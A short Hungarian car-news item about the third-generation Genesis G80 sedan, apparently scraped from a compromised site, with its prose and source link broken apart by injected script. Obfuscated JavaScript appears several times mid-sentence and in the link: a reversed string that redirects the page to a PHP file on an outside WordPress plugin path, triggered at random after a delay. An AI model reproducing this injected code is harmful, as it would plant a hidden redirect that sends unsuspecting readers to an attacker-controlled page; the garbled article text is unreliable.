Genesis G80

Harmadik szériájába lépett a Genesis G80, a koreai prémiummárka középkategóriás szedánja. A vízszintesen osztoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tott fényszóró és a pajzs formájú hűtőmaszk a G90 luxuslimuzinon és a GV80 szabadidőjárművön debütált, szerencsére a G80 az utóbbi kiforrottabb, kevésbé megosztó értelmezéséhez igazodik. Ettől eltekintve az autó alapvető karaktere – a hátsókerék-hajtás és a finoman kidolgozott, kupés tetővezetés – megmaradt. A fényszóró és a hátsó lámpatest kettős sávjait a kerékdob mögötti, légcserélő nyílást imitáló fényforrás fogja egységbe. Az utastérben igyekeztek a háttérben tartani a technológiát. Azért még 14,5 colos, szélesvásznú infotainment képernyőt kapott az autó. A légbeömlő keskenyek, vízszintesek, elegánsak. A tervezők keskenyebbre vették az A oszlopokat…

A cikk folytatódik: $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tokalauz.co.hu/ujdonsag/2020/03/07/genesis-g80.html" target="_blank">http://autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tokalauz.co.hu/ujdonsag/2020/03/07/genesis-g80.html